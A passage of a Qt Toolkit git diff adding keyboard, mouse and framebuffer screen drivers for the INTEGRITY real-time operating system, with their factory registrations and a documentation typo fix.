+ keycode = scancodebuf[rxack] << 8;
+ rxack++;
+ if (rxack >= 32 /* USB_SCANCODE_BUF_LEN */)
+ rxack = 0;
+ } else {
+ keycode = 0;
+ }
+
+ handler->processKeycode(keycode + (scancodebuf[rxack] & 0x7f),
+ (scancodebuf[rxack] & 0x80) == 0,
+ scancodebuf[rxack] == 2);
+ rxack++;
+ if (rxack >= 32 /* USB_SCANCODE_BUF_LEN */)
+ rxack = 0;
+ } while (rxack != rxpost);
+}
+
+QWSIntKbPrivate::QWSIntKbPrivate(QWSKeyboardHandler *h, const QString &device) : handler(h)
+{
+ connect(this, SIGNAL(kbdDataAvailable(int)), this, SLOT(readKeyboardData(int)));
+ this->handler = handler;
+ rxack = rxpost = 0;
+ kbdthread = new QIntKeyboardListenThread(this);
+ kbdthread->start();
+}
+
+QWSIntKbPrivate::~QWSIntKbPrivate()
+{
+ kbdthread->stoploop();
+ kbdthread->wait();
+ delete kbdthread;
+}
+
+
+QT_END_NAMESPACE
+
+#include "qkbdintegrity_qws.moc"
+
+#endif // QT_NO_QWS_KEYBOARD || QT_NO_QWS_KBD_TTY
diff --git a/tools/qdoc3/qsakernelparser.h b/src/gui/embedded/qkbdintegrity_qws.h
index 7692e98..f9ae4e3 100644
--- a/tools/qdoc3/qsakernelparser.h
+++ b/src/gui/embedded/qkbdintegrity_qws.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtGui module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,39 +39,43 @@
**
****************************************************************************/
-/*
- qsakernelparser.h
-*/
+#ifndef QKBDINTEGRITY_QWS_H
+#define QKBDINTEGRITY_QWS_H
-#ifndef QSAKERNELPARSER_H
-#define QSAKERNELPARSER_H
+#include <QtGui/qkbd_qws.h>
-#include "codeparser.h"
+QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-class Tokenizer;
+QT_MODULE(Gui)
-class QsaKernelParser : public CodeParser
+#ifndef QT_NO_QWS_KEYBOARD
+
+#ifndef QT_NO_QWS_KBD_INTEGRITY
+
+class QSocketNotifier;
+class QWSIntKbPrivate;
+
+class QWSIntKeyboardHandler : public QWSKeyboardHandler
{
public:
- QsaKernelParser( Tree *cppTree );
- ~QsaKernelParser();
+ explicit QWSIntKeyboardHandler(const QString&);
+ virtual ~QWSIntKeyboardHandler();
- virtual QString language();
- virtual QString sourceFileNameFilter();
- virtual void parseSourceFile( const Location& location,
- const QString& filePath, Tree *tree );
- virtual void doneParsingSourceFiles( Tree *tree );
+//protected:
+// virtual void processKeyEvent(int keycode, bool isPress, bool autoRepeat);
private:
- void readToken();
-
- Tree *cppTre;
- Tokenizer *tokenizer;
- int tok;
+ QWSIntKbPrivate *d;
};
+#endif // QT_NO_QWS_KBD_INTEGRITY
+
+#endif // QT_NO_QWS_KEYBOARD
+
QT_END_NAMESPACE
-#endif
+QT_END_HEADER
+
+#endif // QKBDINTEGRITY_QWS_H
diff --git a/src/gui/embedded/qmousedriverfactory_qws.cpp b/src/gui/embedded/qmousedriverfactory_qws.cpp
index 81e6552..f67284d 100644
--- a/src/gui/embedded/qmousedriverfactory_qws.cpp
+++ b/src/gui/embedded/qmousedriverfactory_qws.cpp
@@ -48,6 +48,7 @@
#include "qmousevfb_qws.h"
#include "qmousetslib_qws.h"
#include "qmouseqnx_qws.h"
+#include "qmouseintegrity_qws.h"
#include <stdlib.h>
#include "private/qfactoryloader_p.h"
#include "qmousedriverplugin_qws.h"
@@ -107,6 +108,10 @@ QWSMouseHandler *QMouseDriverFactory::create(const QString& key, const QString &
if (driver == QLatin1String("qnx") || driver.isEmpty())
return new QQnxMouseHandler(key, device);
#endif
+#if defined(Q_OS_INTEGRITY) && !defined(QT_NO_MOUSE_INTEGRITY)
+ if (driver == QLatin1String("integrity") || driver.isEmpty())
+ return new QIntMouseHandler(key, device);
+#endif
#ifndef QT_NO_QWS_MOUSE_LINUXTP
if (driver == QLatin1String("linuxtp") || driver.isEmpty())
return new QWSLinuxTPMouseHandler(key, device);
@@ -157,6 +162,9 @@ QStringList QMouseDriverFactory::keys()
#if defined(Q_OS_QNX) && !defined(QT_NO_QWS_MOUSE_QNX)
list << QLatin1String("QNX");
#endif
+#if defined(Q_OS_INTEGRITY) && !defined(QT_NO_QWS_MOUSE_INTEGRITY)
+ list << QLatin1String("INTEGRITY");
+#endif
#ifndef QT_NO_QWS_MOUSE_LINUXTP
list << QLatin1String("LinuxTP");
#endif
diff --git a/src/gui/embedded/qmouseintegrity_qws.cpp b/src/gui/embedded/qmouseintegrity_qws.cpp
new file mode 100644
index 0000000..78a8c1b
--- /dev/null
+++ b/src/gui/embedded/qmouseintegrity_qws.cpp
@@ -0,0 +1,271 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QT_NO_QWS_MOUSE_INTEGRITY
+
+#include "qmouseintegrity_qws.h"
+#include <qwindowsystem_qws.h>
+#include <qapplication.h>
+#include <qtimer.h>
+#include <qthread.h>
+
+#include <INTEGRITY.h>
+
+
+typedef Address MOUSEHandler;
+typedef struct MOUSEMessageStruct
+{
+ Value x;
+ Value y;
+ Value z;
+ Value buttons;
+} MOUSEMessage;
+
+static Error MOUSE_Init(MOUSEHandler *handler, Boolean *isabsolute);
+static Error MOUSE_SynchronousGetPosition(MOUSEHandler handler, MOUSEMessage *msg,
+ Boolean absolute);
+static Error MOUSE_ShouldFilter(MOUSEHandler handler, Boolean *filter);
+
+QT_BEGIN_NAMESPACE
+
+class QIntMouseListenThread;
+
+class QIntMousePrivate : public QObject
+{
+ Q_OBJECT
+ friend class QIntMouseListenTaskThread;
+Q_SIGNALS:
+ void mouseDataAvailable(int x, int y, int buttons);
+public:
+ QIntMousePrivate(QIntMouseHandler *handler);
+ ~QIntMousePrivate();
+ void dataReady(int x, int y, int buttons) { emit mouseDataAvailable(x, y, buttons); }
+ bool calibrated;
+ bool waitforread;
+ bool suspended;
+ QIntMouseListenThread *mousethread;
+
+private:
+ QIntMouseHandler *handler;
+};
+
+class QIntMouseListenThread : public QThread
+{
+protected:
+ QIntMousePrivate *imp;
+ bool loop;
+public:
+ QIntMouseListenThread(QIntMousePrivate *im) : QThread(), imp(im) {};
+ ~QIntMouseListenThread() {};
+ void run();
+ void stoploop() { loop = false; };
+};
+
+
+QIntMouseHandler::QIntMouseHandler(const QString &driver, const QString &device)
+ : QObject(), QWSCalibratedMouseHandler(driver, device)
+{
+ QPoint test(1,1);
+ d = new QIntMousePrivate(this);
+ connect(d, SIGNAL(mouseDataAvailable(int, int, int)), this, SLOT(readMouseData(int, int, int)));
+
+ d->calibrated = (test != transform(test));
+
+ d->mousethread->start();
+}
+
+QIntMouseHandler::~QIntMouseHandler()
+{
+ disconnect(d, SIGNAL(mouseDataAvailable(int, int, int)), this, SLOT(readMouseData(int, int, int)));
+ delete d;
+}
+
+void QIntMouseHandler::resume()
+{
+ d->suspended = true;
+}
+
+void QIntMouseHandler::suspend()
+{
+ d->suspended = false;
+}
+
+void QIntMouseHandler::readMouseData(int x, int y, int buttons)
+{
+ d->waitforread = false;
+ if (d->suspended)
+ return;
+ if (d->calibrated) {
+ sendFiltered(QPoint(x, y), buttons);
+ } else {
+ QPoint pos;
+ pos = transform(QPoint(x, y));
+ limitToScreen(pos);
+ mouseChanged(pos, buttons, 0);
+ }
+}
+
+void QIntMouseHandler::clearCalibration()
+{
+ QWSCalibratedMouseHandler::clearCalibration();
+}
+
+void QIntMouseHandler::calibrate(const QWSPointerCalibrationData *data)
+{
+ QWSCalibratedMouseHandler::calibrate(data);
+}
+
+void QIntMouseListenThread::run(void)
+{
+ MOUSEHandler handler;
+ MOUSEMessage msg;
+ Boolean filter;
+ Boolean isabsolute;
+ loop = true;
+ CheckSuccess(MOUSE_Init(&handler, &isabsolute));
+ CheckSuccess(MOUSE_ShouldFilter(handler, &filter));
+ if (!filter)
+ imp->calibrated = false;
+ imp->waitforread = false;
+ do {
+ MOUSE_SynchronousGetPosition(handler, &msg, isabsolute);
+ imp->dataReady(msg.x, msg.y, msg.buttons);
+ } while (loop);
+ QThread::exit(0);
+}
+
+QIntMousePrivate::QIntMousePrivate(QIntMouseHandler *handler)
+ : QObject()
+{
+ this->handler = handler;
+ suspended = false;
+ mousethread = new QIntMouseListenThread(this);
+}
+
+QIntMousePrivate::~QIntMousePrivate()
+{
+ mousethread->stoploop();
+ mousethread->wait();
+ delete mousethread;
+}
+
+QT_END_NAMESPACE
+
+#include "qmouseintegrity_qws.moc"
+
+typedef struct USBMouseStruct
+{
+ Connection mouseconn;
+ Buffer mousemsg[2];
+ Value x;
+ Value y;
+} USBMouse;
+
+USBMouse mousedev;
+
+Error MOUSE_Init(MOUSEHandler *handler, Boolean *isabsolute)
+{
+ Error E;
+ bool loop = true;
+ memset((void*)&mousedev, 0, sizeof(USBMouse));
+ mousedev.mousemsg[0].BufferType = DataImmediate;
+ mousedev.mousemsg[1].BufferType = DataImmediate | LastBuffer;
+ do {
+ E = RequestResource((Object*)&mousedev.mouseconn,
+ "MouseClient", "!systempassword");
+ if (E == Success) {
+ *isabsolute = true;
+ loop = false;
+ } else {
+ E = RequestResource((Object*)&mousedev.mouseconn,
+ "USBMouseClient", "!systempassword");
+ if (E == Success) {
+ *isabsolute = false;
+ loop = false;
+ }
+ }
+ if (loop)
+ sleep(1);
+ } while (loop);
+ *handler = (MOUSEHandler)&mousedev;
+ return Success;
+}
+
+Error MOUSE_SynchronousGetPosition(MOUSEHandler handler, MOUSEMessage *msg,
+ Boolean isabsolute)
+{
+ signed long x;
+ signed long y;
+ USBMouse *mdev = (USBMouse *)handler;
+ mdev->mousemsg[0].Transferred = 0;
+ mdev->mousemsg[1].Transferred = 0;
+ SynchronousReceive(mdev->mouseconn, mdev->mousemsg);
+ if (isabsolute) {
+ x = (signed long)mdev->mousemsg[0].Length;
+ y = (signed long)mdev->mousemsg[1].TheAddress;
+ } else {
+ x = mdev->x + (signed long)mdev->mousemsg[0].Length;
+ y = mdev->y + (signed long)mdev->mousemsg[1].TheAddress;
+ }
+ if (x < 0)
+ mdev->x = 0;
+ else
+ mdev->x = x;
+ if (y < 0)
+ mdev->y = 0;
+ else
+ mdev->y = y;
+ msg->x = mdev->x;
+ msg->y = mdev->y;
+ msg->buttons = mdev->mousemsg[0].TheAddress;
+ return Success;
+}
+
+Error MOUSE_ShouldFilter(MOUSEHandler handler, Boolean *filter)
+{
+ if (filter == NULL)
+ return Failure;
+ *filter = false;
+ return Success;
+}
+
+#endif // QT_NO_QWS_MOUSE_INTEGRITY
+
diff --git a/src/gui/embedded/qmouseintegrity_qws.h b/src/gui/embedded/qmouseintegrity_qws.h
new file mode 100644
index 0000000..46d27a3
--- /dev/null
+++ b/src/gui/embedded/qmouseintegrity_qws.h
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMOUSEINTEGRITY_QWS_H
+#define QMOUSEINTEGRITY_QWS_H
+
+#include <QtGui/qmouse_qws.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Gui)
+
+#ifndef QT_NO_QWS_MOUSE_INTEGRITY
+
+class QSocketNotifier;
+class QIntMousePrivate;
+
+class QIntMouseHandler : public QObject, public QWSCalibratedMouseHandler {
+ Q_OBJECT
+public:
+ QIntMouseHandler(const QString &driver = QString(),
+ const QString &device = QString());
+ ~QIntMouseHandler();
+
+ void resume();
+ void suspend();
+
+ void calibrate(const QWSPointerCalibrationData *data);
+ void clearCalibration();
+
+private:
+ QIntMousePrivate *d;
+private Q_SLOTS:
+ void readMouseData(int x, int y, int buttons);
+};
+#endif // QT_NO_QWS_MOUSE_INTEGRITY
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QMOUSEINTEGRITY_QWS_H
diff --git a/src/gui/embedded/qscreen_qws.cpp b/src/gui/embedded/qscreen_qws.cpp
index 4656af8..e207ed1 100644
--- a/src/gui/embedded/qscreen_qws.cpp
+++ b/src/gui/embedded/qscreen_qws.cpp
@@ -1768,7 +1768,7 @@ QImage::Format QScreenPrivate::preferredImageFormat() const
This function is called by every \l{Qt for Embedded Linux}
application on startup, and must be implemented to map in the
framebuffer and the accelerated drivers that the graphics card
- control registers. Note that coonnect must be called \e before
+ control registers. Note that connect must be called \e before
the initDevice() function.
Ensure that true is returned if a connection to the screen device
diff --git a/src/gui/embedded/qscreen_qws.h b/src/gui/embedded/qscreen_qws.h
index d237dd8..17ffbbb 100644
--- a/src/gui/embedded/qscreen_qws.h
+++ b/src/gui/embedded/qscreen_qws.h
@@ -193,7 +193,7 @@ class Q_GUI_EXPORT QScreen {
public:
enum ClassId { LinuxFBClass, TransformedClass, VNCClass, MultiClass,
VFbClass, DirectFBClass, SvgalibClass, ProxyClass,
- GLClass, CustomClass = 1024 };
+ GLClass, IntfbClass, CustomClass = 1024 };
QScreen(int display_id, ClassId classId);
explicit QScreen(int display_id);
@@ -358,6 +358,7 @@ private:
friend class QLinuxFbScreen;
friend class QVFbScreen;
friend class QProxyScreen;
+ friend class QIntfbScreen;
#endif
friend void qt_solidFill_setup(QScreen*, const QColor&, const QRegion&);
friend void qt_blit_setup(QScreen *screen, const QImage &image,
diff --git a/src/gui/embedded/qscreendriverfactory_qws.cpp b/src/gui/embedded/qscreendriverfactory_qws.cpp
index c0ae214..ea194e5 100644
--- a/src/gui/embedded/qscreendriverfactory_qws.cpp
+++ b/src/gui/embedded/qscreendriverfactory_qws.cpp
@@ -48,6 +48,7 @@
#include "qscreenvfb_qws.h"
#include "qscreenmulti_qws_p.h"
#include "qscreenqnx_qws.h"
+#include "qscreenintegrityfb_qws.h"
#include <stdlib.h>
#include "private/qfactoryloader_p.h"
#include "qscreendriverplugin_qws.h"
@@ -112,6 +113,10 @@ QScreen *QScreenDriverFactory::create(const QString& key, int displayId)
if (driver == QLatin1String("qnx") || driver.isEmpty())
return new QQnxScreen(displayId);
#endif
+#if defined(Q_OS_INTEGRITY) && !defined(QT_NO_QWS_INTEGRITY)
+ if (driver == QLatin1String("integrityfb") || driver.isEmpty())
+ return new QIntfbScreen(displayId);
+#endif
#ifndef QT_NO_QWS_QVFB
if (driver == QLatin1String("qvfb") || driver.isEmpty())
return new QVFbScreen(displayId);
@@ -159,6 +164,9 @@ QStringList QScreenDriverFactory::keys()
#if defined(Q_OS_QNX) && !defined(QT_NO_QWS_QNX)
list << QLatin1String("QNX");
#endif
+#if defined(Q_OS_INTEGRITY) && !defined(QT_NO_QWS_INTEGRITY)
+ list << QLatin1String("INTEGRITYFB");
+#endif
#ifndef QT_NO_QWS_QVFB
list << QLatin1String("QVFb");
#endif
diff --git a/src/gui/embedded/qscreenintegrityfb_qws.cpp b/src/gui/embedded/qscreenintegrityfb_qws.cpp
new file mode 100644
index 0000000..7b24490
--- /dev/null
+++ b/src/gui/embedded/qscreenintegrityfb_qws.cpp
@@ -0,0 +1,405 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QT_NO_QWS_INTEGRITYFB
+
+#include <qscreenintegrityfb_qws.h>
+#include <qwindowsystem_qws.h>
+#include <qsocketnotifier.h>
+#include <qapplication.h>
+#include <qscreen_qws.h>
+#include "qmouseintegrity_qws.h"
+#include "qkbdintegrity_qws.h"
+#include <qmousedriverfactory_qws.h>
+#include <qkbddriverfactory_qws.h>
+#include <qdebug.h>
+
+#include <INTEGRITY.h>
+#include <device/fbdriver.h>
+
+QT_BEGIN_NAMESPACE
+
+class QIntfbScreenPrivate
+{
+public:
+ QIntfbScreenPrivate();
+ ~QIntfbScreenPrivate();
+
+ FBHandle handle;
+ struct FBInfoStruct fbinfo;
+
+ QWSMouseHandler *mouse;
+#ifndef QT_NO_QWS_KEYBOARD
+ QWSKeyboardHandler *keyboard;
+#endif
+};
+
+QIntfbScreenPrivate::QIntfbScreenPrivate()
+ : mouse(0)
+
+{
+#ifndef QT_NO_QWS_KEYBOARD
+ keyboard = 0;
+#endif
+}
+
+QIntfbScreenPrivate::~QIntfbScreenPrivate()
+{
+ delete mouse;
+#ifndef QT_NO_QWS_KEYBOARD
+ delete keyboard;
+#endif
+}
+
+/*!
+ \internal
+
+ \class QIntfbScreen
+ \ingroup qws
+
+ \brief The QIntfbScreen class implements a screen driver for the
+ INTEGRITY framebuffer drivers.
+
+ Note that this class is only available in \l{Qt for INTEGRITY}.
+ Custom screen drivers can be added by subclassing the
+ QScreenDriverPlugin class, using the QScreenDriverFactory class to
+ dynamically load the driver into the application, but there should
+ only be one screen object per application.
+
+ \sa QScreen, QScreenDriverPlugin, {Running Applications}
+*/
+
+/*!
+ \fn bool QIntfbScreen::connect(const QString & displaySpec)
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::disconnect()
+ \reimp
+*/
+
+/*!
+ \fn bool QIntfbScreen::initDevice()
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::restore()
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::save()
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::setDirty(const QRect & r)
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::setMode(int nw, int nh, int nd)
+ \reimp
+*/
+
+/*!
+ \fn void QIntfbScreen::shutdownDevice()
+ \reimp
+*/
+
+/*!
+ \fn QIntfbScreen::QIntfbScreen(int displayId)
+
+ Constructs a QVNCScreen object. The \a displayId argument
+ identifies the Qt for Embedded Linux server to connect to.
+*/
+QIntfbScreen::QIntfbScreen(int display_id)
+ : QScreen(display_id, IntfbClass), d_ptr(new QIntfbScreenPrivate)
+{
+ d_ptr->handle = 0;
+ data = 0;
+}
+
+/*!
+ Destroys this QIntfbScreen object.
+*/
+QIntfbScreen::~QIntfbScreen()
+{
+ delete d_ptr;
+}
+
+static QIntfbScreen *connected = 0;
+
+bool QIntfbScreen::connect(const QString &displaySpec)
+{
+ FBDriver *fbdev;
+
+ CheckSuccess(gh_FB_get_driver(0, &fbdev));
+ CheckSuccess(gh_FB_init_device(fbdev, 0, &d_ptr->handle));
+ CheckSuccess(gh_FB_get_info(d_ptr->handle, &d_ptr->fbinfo));
+
+ data = (uchar *)d_ptr->fbinfo.start;
+
+ d = d_ptr->fbinfo.bitsperpixel;
+ switch (d) {
+ case 1:
+ setPixelFormat(QImage::Format_Mono);
+ break;
+ case 8:
+ setPixelFormat(QImage::Format_Indexed8);
+ break;
+ case 12:
+ setPixelFormat(QImage::Format_RGB444);
+ break;
+ case 15:
+ setPixelFormat(QImage::Format_RGB555);
+ break;
+ case 16:
+ setPixelFormat(QImage::Format_RGB16);
+ break;
+ case 18:
+ setPixelFormat(QImage::Format_RGB666);
+ break;
+ case 24:
+ setPixelFormat(QImage::Format_RGB888);
+#ifdef QT_QWS_DEPTH_GENERIC
+#if Q_BYTE_ORDER != Q_BIG_ENDIAN
+ qt_set_generic_blit(this, 24,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ d_ptr->fbinfo.redoffset,
+ d_ptr->fbinfo.greenoffset,
+ d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset);
+#else
+ qt_set_generic_blit(this, 24,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ 16 - d_ptr->fbinfo.redoffset,
+ 16 - d_ptr->fbinfo.greenoffset,
+ 16 - d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset);
+#endif
+#endif
+ break;
+ case 32:
+ setPixelFormat(QImage::Format_ARGB32_Premultiplied);
+#ifdef QT_QWS_DEPTH_GENERIC
+#if Q_BYTE_ORDER != Q_BIG_ENDIAN
+ qt_set_generic_blit(this, 32,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ d_ptr->fbinfo.redoffset,
+ d_ptr->fbinfo.greenoffset,
+ d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset);
+#else
+ qt_set_generic_blit(this, 32,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ 24 - d_ptr->fbinfo.redoffset,
+ 24 - d_ptr->fbinfo.greenoffset,
+ 24 - d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset ? 24 - d_ptr->fbinfo.alphaoffset : 0);
+#endif
+#endif
+ break;
+ }
+
+ dw = w = d_ptr->fbinfo.width;
+ dh = h = d_ptr->fbinfo.height;
+
+ /* assumes no padding */
+ lstep = w * ((d + 7) >> 3);
+
+ mapsize = size = h * lstep;
+
+ /* default values */
+ int dpi = 72;
+ physWidth = qRound(dw * 25.4 / dpi);
+ physHeight = qRound(dh * 25.4 / dpi);
+
+ qDebug("Connected to INTEGRITYfb server: %d x %d x %d %dx%dmm (%dx%ddpi)",
+ w, h, d, physWidth, physHeight, qRound(dw*25.4/physWidth), qRound(dh*25.4/physHeight) );
+
+
+ QWSServer::setDefaultMouse("integrity");
+ QWSServer::setDefaultKeyboard("integrity");
+
+ connected = this;
+
+ return true;
+}
+
+void QIntfbScreen::disconnect()
+{
+ connected = 0;
+}
+
+bool QIntfbScreen::initDevice()
+{
+
+ CheckSuccess(gh_FB_set_info(d_ptr->handle, &d_ptr->fbinfo, false));
+ CheckSuccess(gh_FB_get_info(d_ptr->handle, &d_ptr->fbinfo));
+ data = (uchar *)d_ptr->fbinfo.start;
+ d = d_ptr->fbinfo.bitsperpixel;
+ dw = w = d_ptr->fbinfo.width;
+ dh = h = d_ptr->fbinfo.height;
+ mapsize = d_ptr->fbinfo.length;
+ /* assumes no padding */
+ lstep = w * ((d + 7) >> 3);
+
+ mapsize = size = h * lstep;
+
+ data = (uchar *)d_ptr->fbinfo.start;
+
+ d = d_ptr->fbinfo.bitsperpixel;
+ switch (d) {
+ case 1:
+ setPixelFormat(QImage::Format_Mono);
+ break;
+ case 8:
+ setPixelFormat(QImage::Format_Indexed8);
+ break;
+ case 12:
+ setPixelFormat(QImage::Format_RGB444);
+ break;
+ case 15:
+ setPixelFormat(QImage::Format_RGB555);
+ break;
+ case 16:
+ setPixelFormat(QImage::Format_RGB16);
+ break;
+ case 18:
+ setPixelFormat(QImage::Format_RGB666);
+ break;
+ case 24:
+ setPixelFormat(QImage::Format_RGB888);
+ break;
+ case 32:
+ setPixelFormat(QImage::Format_ARGB32_Premultiplied);
+ break;
+ }
+#ifdef QT_QWS_DEPTH_GENERIC
+#if defined(__BIG_ENDIAN__)
+ qt_set_generic_blit(this, d,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ 24 - d_ptr->fbinfo.redoffset,
+ 24 - d_ptr->fbinfo.greenoffset,
+ 24 - d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset ? 24 - d_ptr->fbinfo.alphaoffset : 0);
+#else
+ qt_set_generic_blit(this, d,
+ d_ptr->fbinfo.redbits,
+ d_ptr->fbinfo.greenbits,
+ d_ptr->fbinfo.bluebits,
+ d_ptr->fbinfo.alphabits,
+ d_ptr->fbinfo.redoffset,
+ d_ptr->fbinfo.greenoffset,
+ d_ptr->fbinfo.blueoffset,
+ d_ptr->fbinfo.alphaoffset);
+#endif
+#endif
+
+#ifndef QT_NO_QWS_CURSOR
+ QScreenCursor::initSoftwareCursor();
+#endif
+ return true;
+}
+
+void QIntfbScreen::shutdownDevice()
+{
+ gh_FB_close(d_ptr->handle);
+}
+
+void QIntfbScreen::setMode(int ,int ,int)
+{
+}
+
+// save the state of the graphics card
+// This is needed so that e.g. we can restore the palette when switching
+// between linux virtual consoles.
+void QIntfbScreen::save()
+{
+ // nothing to do.
+}
+
+// restore the state of the graphics card.
+void QIntfbScreen::restore()
+{
+}
+void QIntfbScreen::setDirty(const QRect& rect)
+{
+ FBRect fbrect;
+ fbrect.dx = rect.x();
+ fbrect.dy = rect.y();
+ fbrect.width = rect.width();
+ fbrect.height = rect.height();
+ gh_FB_expose(d_ptr->handle, &fbrect);
+}
+
+void QIntfbScreen::setBrightness(int b)
+{
+ if (connected) {
+ }
+}
+
+void QIntfbScreen::blank(bool on)
+{
+}
+
+#endif // QT_NO_QWS_INTEGRITYFB
+
+QT_END_NAMESPACE
+
diff --git a/tools/qdoc3/mangenerator.h b/src/gui/embedded/qscreenintegrityfb_qws.h
index cab2f24..06b3967 100644
--- a/tools/qdoc3/mangenerator.h
+++ b/src/gui/embedded/qscreenintegrityfb_qws.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtGui module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,41 +39,45 @@
**
****************************************************************************/
-/*
- mangenerator.h
-*/
+#ifndef QSCREENINTEGRITYFB_QWS_H
+#define QSCREENINTEGRITYFB_QWS_H
-#ifndef MANGENERATOR_H
-#define MANGENERATOR_H
+#include <QtGui/qscreen_qws.h>
-#include "pagegenerator.h"
+QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-class ManGenerator : public PageGenerator
-{
-public:
- ManGenerator();
- ~ManGenerator();
+QT_MODULE(Gui)
- virtual QString format();
+#ifndef QT_NO_QWS_INTEGRITYFB
-protected:
- virtual int generateAtom( const Atom *atom, const Node *relative,
- CodeMarker *marker );
- virtual void generateClassLikeNode(const InnerNode *node, CodeMarker *marker);
- virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
- virtual QString fileExtension(const Node *node) const;
+class QIntfbScreenPrivate;
-private:
- void generateHeader( const QString& name );
- void generateFooter();
- QString protectArg( const QString& str );
- QString protectTextLine( const QString& str );
+class Q_GUI_EXPORT QIntfbScreen : public QScreen
+{
+public:
+ explicit QIntfbScreen(int display_id);
+ virtual ~QIntfbScreen();
+ virtual bool initDevice();
+ virtual bool connect(const QString &displaySpec);
+ virtual void disconnect();
+ virtual void shutdownDevice();
